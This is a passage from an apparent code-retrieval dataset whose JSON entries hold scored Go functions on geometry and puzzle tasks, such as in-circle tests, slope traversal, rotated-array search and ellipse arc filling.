+\n\t//\tm[0][1]*m[1][0]*m[2][3]*m[3][2] - m[0][0]*m[1][1]*m[2][3]*m[3][2] -\n\t//\tm[0][2]*m[1][1]*m[2][0]*m[3][3] + m[0][1]*m[1][2]*m[2][0]*m[3][3] +\n\t//\tm[0][2]*m[1][0]*m[2][1]*m[3][3] - m[0][0]*m[1][2]*m[2][1]*m[3][3] -\n\t//\tm[0][1]*m[1][0]*m[2][2]*m[3][3] + m[0][0]*m[1][1]*m[2][2]*m[3][3]\n\tdet := bigAdd(\n\t\tbigAdd(\n\t\t\tbigAdd(\n\t\t\t\tbigAdd(rowBig(3, 2, 1, 0, false, m), rowBig(3, 1, 2, 0, true, m)),\n\t\t\t\trowBig(2, 1, 3, 0, false, m),\n\t\t\t),\n\t\t\tbigAdd(\n\t\t\t\tbigAdd(rowBig(3, 2, 0, 1, true, m), rowBig(3, 0, 2, 1, false, m)),\n\t\t\t\trowBig(2, 0, 3, 1, true, m),\n\t\t\t),\n\t\t),\n\t\tbigAdd(\n\t\t\tbigAdd(\n\t\t\t\tbigAdd(rowBig(3, 1, 0, 2, false, m), rowBig(3, 0, 1, 2, true, m)),\n\t\t\t\trowBig(1, 0, 3, 2, false, m),\n\t\t\t),\n\t\t\tbigAdd(\n\t\t\t\tbigAdd(rowBig(2, 1, 0, 3, true, m), rowBig(2, 0, 1, 3, false, m)),\n\t\t\t\trowBig(1, 0, 2, 3, true, m),\n\t\t\t),\n\t\t),\n\t)\n\tsign := det.Sign()\n\tswitch sign {\n\tcase 1:\n\t\treturn Inside\n\tcase -1:\n\t\treturn Outside\n\tcase 0:\n\t\treturn On\n\t}\n\treturn IndeterminatePosition\n}", "title": "" }, { "docid": "a34a71dc9b0c78b213e766f93d94ca3f", "score": "0.4335405", "text": "func simulateToboggan(input []string, xSlope, ySlope int) int {\r\n\tvar curXPos, count int\r\n\tfor i := 0; i < len(input); i += ySlope {\r\n\t\tline := []rune(input[i]) // Treat the current line as a slice\r\n\t\t// Check if the char at the current pos is a tree (#)\r\n\t\tif line[curXPos] == '#' {\r\n\t\t\tcount++\r\n\t\t}\r\n\r\n\t\t// Move to the next position laterally\r\n\t\tcurXPos += xSlope\r\n\t\tif curXPos >= len(line) {\r\n\t\t\tcurXPos -= len(line) // Wrap around back to the beginning of the line\r\n\t\t}\r\n\t}\r\n\r\n\treturn count\r\n}", "title": "" }, { "docid": "5d5f28c38cb65c18ad389d5efc3d9f5f", "score": "0.43222916", "text": "func mostVisibleAsteroid(asteroids []Location, height, width int) (Location, int) {\n\tlinesOfSight := visibleAsteroids(asteroids, height, width)\n\tmaxLines := 0\n\tvar station Location\n\tfor asteroid, visible := range linesOfSight.contents {\n\t\tif visible.Size() > maxLines {\n\t\t\tmaxLines = visible.Size()\n\t\t\tstation = asteroid\n\t\t}\n\t}\n\treturn station, maxLines\n}", "title": "" }, { "docid": "32daf25cb67b94633ae037742d47c528", "score": "0.43222055", "text": "func findShortestToGate(matrix [][]int) {\n\tm := len(matrxi)\n\tn := len(matrix[0])\n\tlist := make([]pointList, 1)\n\tfor i := 0; i < m; i++ {\n\t\tfor j = 0; j < n; j++ {\n\t\t\tif matrix[i][j] == 'G' {\n\t\t\t\tupdateShortestPathToGate(matrix, i, j, 0, list)\n\t\t\t}\n\t\t}\n\t}\n\n}", "title": "" }, { "docid": "651b900bd9573492999d1e5dc8cee268", "score": "0.43138704", "text": "func (pt *pttag) radial(x, y float64) float64 {\n\tdx, dy := x-0.5, y-0.5\n\treturn math.Max(0.5-math.Sqrt(dx*dx+dy*dy), 0) // ensure 0 or greater\n}", "title": "" }, { "docid": "3eede8c7227c05d9b0eb41717b8bce3e", "score": "0.42995387", "text": "func angle(a, b, c Point) float64 {\n\treturn a.Cross(b.Vector).Angle(c.Cross(b.Vector)).Radians()\n}", "title": "" }, { "docid": "df2017d2e4827a7be7c38593dca10eb1", "score": "0.42803368", "text": "func walkToEmpty(c types.Coordinate, lvl [][]io.Runeable) types.Coordinate {\n\n\t// Random walk till and empty room is found\n\tfor {\n\t\tswitch lvl[c.Y][c.X].(type) {\n\t\tcase Empty:\n\t\t\treturn c\n\t\t}\n\t\txadj := rand.Intn(3) - 2 // [-1,1]\n\t\tyadj := rand.Intn(3) - 2 // [-1,1]\n\t\tif xadj > 0 {\n\t\t\tc.X += xadj\n\t\t} else {\n\t\t\tc.X -= xadj\n\t\t}\n\n\t\tif yadj > 0 {\n\t\t\tc.Y += yadj\n\t\t} else {\n\t\t\tc.Y -= yadj\n\t\t}\n\n\t\tif c.X > width-2 {\n\t\t\tc.X = 1\n\t\t}\n\t\tif c.X < 1 {\n\t\t\tc.X = width - 2\n\t\t}\n\t\tif c.Y > height-2 {\n\t\t\tc.Y = 1\n\t\t}\n\t\tif c.Y < 1 {\n\t\t\tc.Y = height - 2\n\t\t}\n\t}\n\n\treturn c\n}", "title": "" }, { "docid": "e16d76cdd7dc2da99450dd9b11e94a2f", "score": "0.42748812", "text": "func right1stTriangle(xL, yL, fringeSize, distance int) (x1, y1, x2, y2, x3, y3 int) {\n\tx1 = xL * distance\n\tx2 = xL*distance + distance\n\tx3 = x1\n\ty1 = yL * fringeSize\n\ty2 = y1 + fringeSize/2\n\ty3 = yL*fringeSize + fringeSize\n\treturn\n}", "title": "" }, { "docid": "deeb29c34e44d680057d07c6b9f07183", "score": "0.42707857", "text": "func searchRotatedArray(nums []int, target int) int {\n\tl := len(nums)\n\tif l < 1 {\n\t\treturn -1\n\t}\n\t// 初始化边界和循环退出条件\n\tfor lo, hi := 0, l-1; lo <= hi; {\n\t\tmid := (lo + hi) >> 1\n\t\tif nums[mid] == target {\n\t\t\treturn mid\n\t\t}\n\t\tif nums[lo] == target {\n\t\t\treturn lo\n\t\t}\n\t\tif nums[hi] == target {\n\t\t\treturn hi\n\t\t}\n\t\tif nums[lo] < nums[hi] {\n\t\t\tif target > nums[mid] {\n\t\t\t\tlo = mid + 1\n\t\t\t} else {\n\t\t\t\thi = mid - 1\n\t\t\t}\n\t\t} else {\n\t\t\t// 判断有序\n\t\t\tif nums[lo] < nums[mid] {\n\t\t\t\t// 不在有序的就是在无序里根绝条件收敛\n\t\t\t\tif target > nums[mid] || target < nums[lo] {\n\t\t\t\t\tlo = mid + 1\n\t\t\t\t} else {\n\t\t\t\t\thi = mid - 1\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif target < nums[mid] || target > nums[hi] {\n\t\t\t\t\thi = mid - 1\n\t\t\t\t} else {\n\t\t\t\t\tlo = mid + 1\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn -1\n}", "title": "" }, { "docid": "16eebb3fa2263dbbcc06ef51d674d477", "score": "0.42621532", "text": "func generateSisonPointsSlow(width, height int) chan image.Point {\n\tchannel := make(chan image.Point, 4)\n\n\tgo func() {\n\t\t// okay what if width and height are -1\n\t\tif width <= 0 && height <= 0 {\n\t\t\tclose(channel)\n\t\t\treturn\n\t\t}\n\n\t\t// if height is positive?\n\t\tif width <= 0 {\n\t\t\tchannel <- image.Pt(0, 1)\n\t\t\tclose(channel)\n\t\t\treturn\n\t\t}\n\n\t\tdenom := lcmUpTo(height)\n\t\tpointer := big.NewRat(0, int64(denom))\n\t\tfor pointer.Cmp(big.NewRat(1, 1)) < 0 { // while less than 1\n\t\t\t// note that two checks are performed here,\n\t\t\t// that is, if the denominator is no more than the height\n\t\t\t// and the numerator is no more than the width.\n\t\t\t// The checks are performed to ensure that the points added\n\t\t\t// are in the bounds of the height and width.\n\t\t\tif pointer.Denom().Int64() <= int64(height) &&\n\t\t\t\tpointer.Num().Int64() <= int64(width) {\n\t\t\t\tchannel <- rationalToPoint(pointer)\n\t\t\t}\n\t\t\tpointer.Add(pointer, big.NewRat(1, int64(denom)))\n\t\t}\n\t\t// okay now let's go from 1,1 to 0,0\n\t\tdenom = lcmUpTo(width)\n\t\tfor pointer.Cmp(big.NewRat(0, 1)) > 0 { // while greater than 0\n\t\t\tif pointer.Denom().Int64() <= int64(width) &&\n\t\t\t\tpointer.Num().Int64() <= int64(height) {\n\t\t\t\t// the coordinates of the point have to be switched\n\t\t\t\t// so that they would not be redundant\n\t\t\t\t// to the previous for loop\n\t\t\t\tpt := rationalToPoint(pointer)\n\t\t\t\tpt.X, pt.Y = pt.Y, pt.X\n\t\t\t\tchannel <- pt\n\t\t\t}\n\t\t\tpointer.Add(pointer, big.NewRat(-1, int64(denom)))\n\t\t}\n\t\t// ok we're done\n\t\tclose(channel)\n\t}()\n\n\treturn channel\n}", "title": "" }, { "docid": "85e6f5ee6dc1d5da455ad30d04f30621", "score": "0.4255416", "text": "func minAreaRect(points [][]int) int {\n\tif len(points) < 4 {\n\t\treturn 0\n\t}\n\tm := make(map[[2]int]bool)\n\tmin := 0\n\tconst MAX = int(^uint(0) >> 1)\n\tpoint1X := MAX\n\tpoint1Y := MAX\n\tpoint2X := MAX\n\tpoint2Y := MAX\n\tfor i := 0; i < len(points); i++ {\n\t\tm[[2]int{points[i][0], points[i][1]}] = true\n\t}\n\tfor i := 0; i < len(points); i++ {\n\t\tfor j := i + 1; j < len(points); j++ {\n\t\t\ta := points[i]\n\t\t\tb := points[j]\n\t\t\t// two conditions are that one is\n\t\t\t// a\n\t\t\t// | /|\n\t\t\t// | / |\n\t\t\t// | / |\n\t\t\t// |/ |\n\t\t\t// b\n\t\t\t// two is\n\t\t\t// a\n\t\t\t// |\\ |\n\t\t\t// | \\ |\n\t\t\t// | \\ |\n\t\t\t// | \\|\n\t\t\t// b\n\t\t\t// and if it's rectangle, the another two points should be have same x-axis and y-axis\n\t\t\tif (a[0]-b[0])*(a[1]-b[1]) > 0 {\n\t\t\t\tpoint1X = int(math.Min(float64(b[0]), float64(a[0])))\n\t\t\t\tpoint1Y = int(math.Max(float64(b[1]), float64(a[1])))\n\t\t\t\tpoint2X = int(math.Max(float64(b[0]), float64(a[0])))\n\t\t\t\tpoint2Y = int(math.Min(float64(b[1]), float64(a[1])))\n\t\t\t} else if (a[0]-b[0])*(a[1]-b[1]) < 0 {\n\t\t\t\tpoint1X = int(math.Min(float64(b[0]), float64(a[0])))\n\t\t\t\tpoint1Y = int(math.Min(float64(b[1]), float64(a[1])))\n\t\t\t\tpoint2X = int(math.Max(float64(b[0]), float64(a[0])))\n\t\t\t\tpoint2Y = int(math.Max(float64(b[1]), float64(a[1])))\n\t\t\t}\n\t\t\tif m[[2]int{point1X, point1Y}] == true && m[[2]int{point2X, point2Y}] == true {\n\t\t\t\tres := int(math.Abs(float64((a[0] - b[0]) * (a[1] - b[1]))))\n\t\t\t\t// fmt.Println(res)\n\t\t\t\tif res != 0 {\n\t\t\t\t\tif min == 0 {\n\t\t\t\t\t\tmin = res\n\t\t\t\t\t} else {\n\t\t\t\t\t\tmin = int(math.Min(float64(res), float64(min)))\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t}\n\treturn min\n}", "title": "" }, { "docid": "be67d73de7d54163e7667de0cd42507b", "score": "0.4252623", "text": "func (m *CharacterMutation) RadicalStroke() (r int8, exists bool) {\n\tv := m.radical_stroke\n\tif v == nil {\n\t\treturn\n\t}\n\treturn *v, true\n}", "title": "" }, { "docid": "4cf963aeda6c36dd56d99f9bc3862389", "score": "0.42397347", "text": "func getMinAccelDirection() (i int, err error) {\n\t_, _, _, _, a1, a2, a3, _, _, _, err, _ := myIMUReader.ReadOne()\n\tif err != nil {\n\t\treturn\n\t}\n\tlog.Printf(\"AHRS Info: sensor orientation accels %1.3f %1.3f %1.3f\\n\", a1, a2, a3)\n\tswitch {\n\tcase math.Abs(a1) > math.Abs(a2) && math.Abs(a1) > math.Abs(a3):\n\t\tif a1 > 0 {\n\t\t\ti = 1\n\t\t} else {\n\t\t\ti = -1\n\t\t}\n\tcase math.Abs(a2) > math.Abs(a3) && math.Abs(a2) > math.Abs(a1):\n\t\tif a2 > 0 {\n\t\t\ti = 2\n\t\t} else {\n\t\t\ti = -2\n\t\t}\n\tcase math.Abs(a3) > math.Abs(a1) && math.Abs(a3) > math.Abs(a2):\n\t\tif a3 > 0 {\n\t\t\ti = 3\n\t\t} else {\n\t\t\ti = -3\n\t\t}\n\tdefault:\n\t\terr = fmt.Errorf(\"couldn't determine biggest accel from %1.3f %1.3f %1.3f\", a1, a2, a3)\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "78cf153f61082caa4be495c9dbc6ef8a", "score": "0.42326006", "text": "func main() {\n scanner := bufio.NewScanner(os.Stdin)\n scanner.Buffer(make([]byte, 1000000), 1000000)\n\n var size int\n scanner.Scan()\n fmt.Sscan(scanner.Text(),&size)\n\n var angle int\n scanner.Scan()\n fmt.Sscan(scanner.Text(),&angle)\n\n grid := [][]string{}\n for i := 0; i < size; i++ {\n scanner.Scan()\n line := scanner.Text()\n // _ = line // to avoid unused error\n\n grid = append(grid, strings.Split(line, \" \"))\n }\n\n diagonalSize := size * 2 - 1\n rotateCount := ((angle - 45) % 360) / 90\n\n for i := 0; i < rotateCount; i++ {\n grid = anticlockwiseTurn90Degree(grid)\n }\n\n diamondGrid := [][]string{}\n for time := 1; time <= diagonalSize; time++ {\n start := 0\n if start < time - size {\n start = time - size\n }\n popRowSize := time\n if size * 2 - time < time {\n popRowSize = size * 2 - time\n }\n\n row := []string{}\n for s := 0; s < popRowSize; s++ {\n rowIndex := start + s\n row = append(row, grid[rowIndex][len(grid[rowIndex]) - 1])\n grid[rowIndex] = grid[rowIndex][:len(grid[rowIndex]) - 1]\n }\n diamondGrid = append(diamondGrid, row)\n }\n\n // fmt.Fprintln(os.Stderr, \"Debug messages...\")\n // fmt.Println(\"answer\")// Write answer to stdout\n for _, diamondRow := range diamondGrid {\n fmt.Println(centerString(strings.Join(diamondRow, \" \"), diagonalSize, \" \"))\n }\n}", "title": "" }, { "docid": "952ebfe4468e55f05027721ba5e7dc10", "score": "0.42324752", "text": "func findArea(s isShape) {\n\tarea := s.area()\n\tfmt.Println(area)\n}", "title": "" }, { "docid": "15a6d25aba6739125b8fa9c913ce05c1", "score": "0.42294186", "text": "func location(h [4]uint64, i uint) uint64 {\n\tii := uint64(i)\n\treturn h[ii%2] + ii*h[2+(((ii+(ii%2))%4)/2)]\n}", "title": "" }, { "docid": "a773cbe1af69fc222729132bd5b6187e", "score": "0.42259157", "text": "func (b *Boundary2D) loc(x []float64) int {\n\txx, yy := x[0], x[1]\n\tfor i := range b.X {\n\t\tx1, x2 := b.X[i], b.X[0] // wrap last node to 1st node\n\t\ty1, y2 := b.Y[i], b.Y[0] // wrap last node to 1st node\n\t\tif i+1 < len(b.X) {\n\t\t\tx2 = b.X[i+1]\n\t\t\ty2 = b.Y[i+1]\n\t\t}\n\n\t\tif x2 < x1 {\n\t\t\tx1, x2 = x2, x1\n\t\t}\n\t\tif y2 < y1 {\n\t\t\ty1, y2 = y2, y1\n\t\t}\n\n\t\tif xx+b.Tol < x1 || x2 < xx-b.Tol || yy+b.Tol < y1 || y2 < yy-b.Tol {\n\t\t\tcontinue\n\t\t}\n\n\t\tproj := vecProject(x, []float64{x1, y1}, []float64{x2, y2})\n\t\tnorm := vecL2Norm(vecSub(nil, proj, x))\n\t\tif norm < b.Tol {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}", "title": "" }, { "docid": "fc0717c45ae8fa2cff82ef3e7db78e85", "score": "0.42025116", "text": "func rotatePoint(x, y, x0, y0, radian float64 ) (int, int){\n\tsin, cos := math.Sincos(radian)\n\tdx, dy := x - x0, y - y0\n\treturn int(cos * dx - sin * dy + x0), int(sin * dx + cos * dy + y0)\n}", "title": "" }, { "docid": "1fd6b1f4ad373cc9196d061bd7c54b38", "score": "0.42005423", "text": "func RingLenAtDistance(r int) int {\n\t// nolint:gomnd\n\treturn 6 * r\n}", "title": "" }, { "docid": "13f34276e65ea99498975efabd36e268", "score": "0.41917798", "text": "func getcoordsforring(ringcount int, anchor coord) []coord {\n\tif ringcount < 1 {\n\t\tpanic(\"fiery ball of death\")\n\t}\n\tperside := (ringcount * 2) + 1\n\toffset := ringcount\n\tring := []coord{}\n\t//top & bottom\n\tfor x := -offset; x < (perside - offset); x++ {\n\t\tring = append(ring, coord{anchor.x + x, anchor.y + offset})\n\t\tring = append(ring, coord{anchor.x + x, anchor.y - offset})\n\t}\n\t//sides\n\tfor y := -offset + 1; y < (perside - 2 - offset + 1); y++ {\n\t\tring = append(ring, coord{anchor.x + offset, anchor.y + y})\n\t\tring = append(ring, coord{anchor.x - offset, anchor.y + y})\n\t}\n\treturn ring\n}", "title": "" }, { "docid": "972a9492a7c0a0bc9516ced3852163f8", "score": "0.41837338", "text": "func main() {\n\tsolutions := map[int]int{}\n\tfor perimeter := 120; perimeter < 1000; perimeter++ {\n\t\tsolutions[perimeter] = 0\n\t\tfor a := 1; a < perimeter; a++ {\n\t\t\tfor b := 1; b < a; b++ {\n\t\t\t\tfor c := 1; c <= perimeter-a-b; c++ {\n\t\t\t\t\tif a+b+c == perimeter && isRightAngle(a, b, c) {\n\t\t\t\t\t\tsolutions[perimeter]++\n\t\t\t\t\t\t//fmt.Printf(\"Found a solution with perimeter %d with {%d, %d, %d}\\n\", perimeter, a, b, c)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tbestPerimeter := 0\n\tmostSolutions := 0\n\tfor perimeter, nrSolutions := range solutions {\n\t\tif nrSolutions > mostSolutions {\n\t\t\tmostSolutions = nrSolutions\n\t\t\tbestPerimeter = perimeter\n\t\t}\n\t}\n\tfmt.Printf(\"The best perimeter is %d, with %d solutions\\n\", bestPerimeter, mostSolutions)\n}", "title": "" }, { "docid": "acb6c5408b55ad2750cc8a31ca278c0d", "score": "0.41786334", "text": "func findPattern(shortTokens []string, longTokens []string) bool {\n\tfoundPattern := false\n\tvar vertices []vertex\n\tmatrix := make([][]int, len(shortTokens))\n\tfor i := range shortTokens {\n\t\tmatrix[i] = make([]int, len(longTokens))\n\t\tfor j := range matrix[i] {\n\t\t\tvar matches = 0\n\t\t\tif shortTokens[i] == longTokens[j] {\n\t\t\t\tmatches++\n\t\t\t\tvertices = addUpdateVertex(vertex{i, j, matches}, vertices)\n\t\t\t\tvar prevRow = j - 1\n\t\t\t\tvar prevCol = i - 1\n\t\t\t\tfor prevRow > 0 && prevCol > 0 {\n\t\t\t\t\tif shortTokens[prevCol] == longTokens[prevRow] {\n\t\t\t\t\t\tmatches++\n\t\t\t\t\t\tvertices = addUpdateVertex(vertex{prevCol, prevRow, matches}, vertices)\n\t\t\t\t\t\tprevRow--\n\t\t\t\t\t\tprevCol--\n\t\t\t\t\t} else {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tmatrix[i][j] = matches\n\t\t}\n\t}\n\n\tfoundPattern, vertices = analyzeMatrix(matrix, vertices)\n\tif foundPattern {\n\t\tvar p pattern\n\n\t\tlastPoint := vertex{-1, -1, 0}\n\t\tfor i := range vertices {\n\t\t\tvar skippedBeginning = i == 0 && vertices[i].x != 0 && vertices[i].y != 0\n\t\t\tvar vertex = vertices[i]\n\t\t\tvar distance = (vertex.x - lastPoint.x) + (vertex.y - lastPoint.y)\n\t\t\tif distance <= 2 && !skippedBeginning {\n\t\t\t\tlastPoint = vertex\n\t\t\t\ttext := shortTokens[lastPoint.x]\n\t\t\t\tp.tokens = append(p.tokens, token{text, false, true, nil})\n\t\t\t} else {\n\t\t\t\txDiff := vertex.x - lastPoint.x\n\t\t\t\tyDiff := vertex.y - lastPoint.y\n\n\t\t\t\tskippedColText := \"\"\n\t\t\t\tskippedRowText := \"\"\n\t\t\t\tif xDiff > 1 {\n\t\t\t\t\tvar skipped = shortTokens[lastPoint.x+1 : vertex.x]\n\t\t\t\t\tfor x := range skipped {\n\t\t\t\t\t\tskippedColText += skipped[x]\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif yDiff > 1 {\n\t\t\t\t\tvar skipped = longTokens[lastPoint.y+1 : vertex.y]\n\t\t\t\t\tfor y := range skipped {\n\t\t\t\t\t\tskippedRowText += skipped[y]\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tvar variableText []variation\n\t\t\t\tif skippedColText != \"\" {\n\t\t\t\t\tvariableText = append(variableText, variation{skippedColText, 1})\n\t\t\t\t}\n\t\t\t\tif skippedRowText != \"\" {\n\t\t\t\t\tvariableText = append(variableText, variation{skippedRowText, 1})\n\t\t\t\t}\n\t\t\t\tlastPoint = vertex\n\t\t\t\ttext := shortTokens[lastPoint.x]\n\t\t\t\t//add wildcard token to sequence\n\t\t\t\tp.tokens = append(p.tokens, token{\"!WILDCARD!\", true, len(variableText) > 1, variableText})\n\t\t\t\t//add static token to sequence\n\t\t\t\tp.tokens = append(p.tokens, token{text, false, true, nil})\n\t\t\t}\n\t\t}\n\n\t\tp.numMatches = 1\n\t\tpatterns = append(patterns, p)\n\n\t\tvar reference = &p\n\t\tupdateTokenMap(p.tokens, reference)\n\n\t\tvar numPatterns = len(patterns)\n\t\tvar rate = 1.0 / float64(inputsSinceLastNewPattern)\n\t\tvar newAvgRate = ((float64(numPatterns) * patternCreationRate) + rate) / float64(numPatterns+1)\n\t\tpatternCreationRateIncreasing = newAvgRate > patternCreationRate\n\t\tpatternCreationRate = newAvgRate\n\n\t\tinputsSinceLastNewPattern = 0\n\t\tlastPatternCount = numPatterns\n\t}\n\treturn foundPattern\n}", "title": "" }, { "docid": "a78f54ea4368fec32cfc7b83a46e3833", "score": "0.41772616", "text": "func getNewFacing(curr rune, rot rune, angle int) rune {\n\t// possible faces and its indexes\n\tfaces := [4]rune{'N', 'E', 'S', 'W'}\n\tstartIndex := map[rune]int{'N': 0, 'E': 1, 'S': 2, 'W': 3}\n\n\t// rotate until the angle is reached\n\tindex := startIndex[curr]\n\tfor i := 0; i < angle/90; i++ {\n\t\t// change operation depending to the rotation\n\t\tif rot == 'R' {\n\t\t\tindex++\n\t\t} else {\n\t\t\tindex--\n\t\t}\n\n\t\t// if out of range, correct the difference\n\t\tif index >= len(faces) {\n\t\t\tindex -= 4\n\t\t} else if index < 0 {\n\t\t\tindex += 4\n\t\t}\n\t}\n\treturn faces[index]\n}", "title": "" }, { "docid": "6e3b32c8973c94fdc32d1ae409351145", "score": "0.41762108", "text": "func (a *Area) Arc(p image.Point, mina, minb, maxa, maxb int, th0, th1 int32, fill bool) {\n\t// bounding box\n\tvar box image.Rectangle\n\tbox.Min.X = -maxa\n\tbox.Max.X = maxa\n\tbox.Min.Y = -maxb\n\tbox.Max.Y = maxb\n\t// setup two sides\n\tvar w0, w1, dx0, dx1, dy0, dy1, of int\n\tif th0 == th1 {\n\t\tif !fill {\n\t\t\ta.RoundRect(p, p, mina, minb, false)\n\t\t\ta.RoundRect(p, p, maxa, maxb, false)\n\t\t\treturn\n\t\t}\n\t\tbox.Max.X++\n\t\tbox.Max.Y++\n\t\tbox = box.Intersect(a.Bounds().Sub(p))\n\t} else {\n\t\tone := image.Pt(1<<frac, 0)\n\t\tcosSin := math2d.Rotate(one, th0)\n\t\tpmin0 := mulfi(cosSin, mina, minb)\n\t\tpmax0 := mulfi(cosSin, maxa, maxb)\n\t\tcosSin = math2d.Rotate(one, th1)\n\t\tpmin1 := mulfi(cosSin, mina, minb)\n\t\tpmax1 := mulfi(cosSin, maxa, maxb)\n\t\tdx0 = pmax0.X - pmin0.X\n\t\tdx1 = pmin1.X - pmax1.X\n\t\tdy0 = pmin0.Y - pmax0.Y\n\t\tdy1 = pmax1.Y - pmin1.Y\n\t\tof = int(th1 - th0)\n\t\tif of < 0 {\n\t\t\tdy0, dy1 = -dy0, -dy1\n\t\t\tdx0, dx1 = -dx0, -dx1\n\t\t}\n\t\tif !fill {\n\t\t\ttop := th0 < th1 && th1 <= 0\n\t\t\tbottom := uint32(th0) < uint32(th1) && uint32(th1) <= math2d.FullAngle/2\n\t\t\tth0 += math2d.RightAngle\n\t\t\tth1 += math2d.RightAngle\n\t\t\tleft := th0 < th1 && th1 <= 0\n\t\t\tright := uint32(th0) < uint32(th1) && uint32(th1) <= math2d.FullAngle/2\n\t\t\ta.Line(pmin0.Add(p), pmax0.Add(p))\n\t\t\tw0 := -dx0*pmin0.Y - dy0*pmin0.X\n\t\t\tw1 := -dx1*pmin1.Y - dy1*pmin1.X\n\t\t\tif !top {\n\t\t\t\tif !left {\n\t\t\t\t\tarc(a, p, mina, minb, w0, dx0, dy0, w1, dx1, dy1, of, -1, 1)\n\t\t\t\t}\n\t\t\t\tif !right {\n\t\t\t\t\tarc(a, p, mina, minb, w0, dx0, dy0, w1, dx1, dy1, of, 1, 1)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif !bottom {\n\t\t\t\tif !right {\n\t\t\t\t\tarc(a, p, mina, minb, w0, dx0, dy0, w1, dx1, dy1, of, 1, -1)\n\t\t\t\t}\n\t\t\t\tif !left {\n\t\t\t\t\tarc(a, p, mina, minb, w0, dx0, dy0, w1, dx1, dy1, of, -1, -1)\n\t\t\t\t}\n\t\t\t}\n\t\t\tw0 = -dx0*pmax0.Y - dy0*pmax0.X\n\t\t\tw1 = -dx1*pmax1.Y - dy1*pmax1.X\n\t\t\tif !top {\n\t\t\t\tif !left {\n\t\t\t\t\tarc(a, p, maxa, maxb, w0, dx0, dy0, w1, dx1, dy1, of, -1, 1)\n\t\t\t\t}\n\t\t\t\tif !right {\n\t\t\t\t\tarc(a, p, maxa, maxb, w0, dx0, dy0, w1, dx1, dy1, of, 1, 1)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif !bottom {\n\t\t\t\tif !right {\n\t\t\t\t\tarc(a, p, maxa, maxb, w0, dx0, dy0, w1, dx1, dy1, of, 1, -1)\n\t\t\t\t}\n\t\t\t\tif !left {\n\t\t\t\t\tarc(a, p, maxa, maxb, w0, dx0, dy0, w1, dx1, dy1, of, -1, -1)\n\t\t\t\t}\n\t\t\t}\n\t\t\ta.Line(pmin1.Add(p), pmax1.Add(p))\n\t\t\treturn\n\t\t}\n\t\t// more fitted box\n\t\tif th1 < 0 && th0 > 0 || th0 < th1 && (th1 < 0 || th0 > 0) {\n\t\t\tbox.Max.X = max4(pmax0.X, pmax1.X, pmin0.X, pmin1.X)\n\t\t}\n\t\tth0 -= math2d.RightAngle\n\t\tth1 -= math2d.RightAngle\n\t\tif th1 < 0 && th0 > 0 || th0 < th1 && (th1 < 0 || th0 > 0) {\n\t\t\tbox.Max.Y = max4(pmax0.Y, pmax1.Y, pmin0.Y, pmin1.Y)\n\t\t}\n\t\tth0 -= math2d.RightAngle\n\t\tth1 -= math2d.RightAngle\n\t\tif th1 < 0 && th0 > 0 || th0 < th1 && (th1 < 0 || th0 > 0) {\n\t\t\tbox.Min.X = min4(pmax0.X, pmax1.X, pmin0.X, pmin1.X)\n\t\t}\n\t\tth0 -= math2d.RightAngle\n\t\tth1 -= math2d.RightAngle\n\t\tif th1 < 0 && th0 > 0 || th0 < th1 && (th1 < 0 || th0 > 0) {\n\t\t\tbox.Min.Y = min4(pmax0.Y, pmax1.Y, pmin0.Y, pmin1.Y)\n\t\t}\n\t\tbox.Max.X++\n\t\tbox.Max.Y++\n\t\tbox = box.Intersect(a.Bounds().Sub(p))\n\t\tw0 = dx0*(box.Min.Y-pmin0.Y) + dy0*(box.Min.X-pmin0.X)\n\t\tw1 = dx1*(box.Min.Y-pmin1.Y) + dy1*(box.Min.X-pmin1.X)\n\t\tif of < 0 {\n\t\t\tw0--\n\t\t} else {\n\t\t\tw1--\n\t\t}\n\t}\n\t// setup ellipses\n\tminaa := mina * mina\n\tminbb := minb * minb\n\tmaxaa := maxa * maxa\n\tmaxbb := maxb * maxb\n\txx := box.Min.X * box.Min.X\n\tyy := box.Min.Y * box.Min.Y\n\twmin := (xx*minbb + yy*minaa) - minaa*minbb\n\twmax := maxaa*maxbb - (xx*maxbb + yy*maxaa) - 1\n\tminaa2 := minaa * 2\n\tminbb2 := minbb * 2\n\tmaxaa2 := maxaa * 2\n\tmaxbb2 := maxbb * 2\n\tdwymin := minaa2*box.Min.Y + minaa\n\tdwymax := maxaa2*box.Min.Y + maxaa\n\tdwxmin := minbb2*box.Min.X + minbb\n\tdwxmax := maxbb2*box.Min.X + maxbb\n\t// fill\n\tbox = box.Add(p)\n\tvar r image.Rectangle\n\tif box.Dx() >= box.Dy() {\n\t\tfor r.Min.Y = box.Min.Y; r.Min.Y < box.Max.Y; r.Min.Y++ {\n\t\t\tm0, m1 := w0, w1\n\t\t\tmmin, mmax := wmin, wmax\n\t\t\tdmmin, dmmax := dwxmin, dwxmax\n\t\t\tr.Min.X = box.Max.X\n\t\t\tr.Max.X = box.Min.X\n\t\t\tfor {\n\t\t\t\tm := (m0 | m1) ^ of | (mmin | mmax)\n\t\t\t\tif r.Min.X == box.Max.X {\n\t\t\t\t\tif r.Max.X == box.Max.X {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t\tif m >= 0 {\n\t\t\t\t\t\tr.Min.X = r.Max.X\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tif m < 0 || r.Max.X == box.Max.X {\n\t\t\t\t\t\tr.Max.Y = r.Min.Y + 1\n\t\t\t\t\t\ta.Fill(r)\n\t\t\t\t\t\tif r.Max.X == box.Max.X {\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t}\n\t\t\t\t\t\tr.Min.X = box.Max.X\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tm0 += dy0\n\t\t\t\tm1 += dy1\n\t\t\t\tmmin += dmmin\n\t\t\t\tmmax -= dmmax\n\t\t\t\tdmmin += minbb2\n\t\t\t\tdmmax += 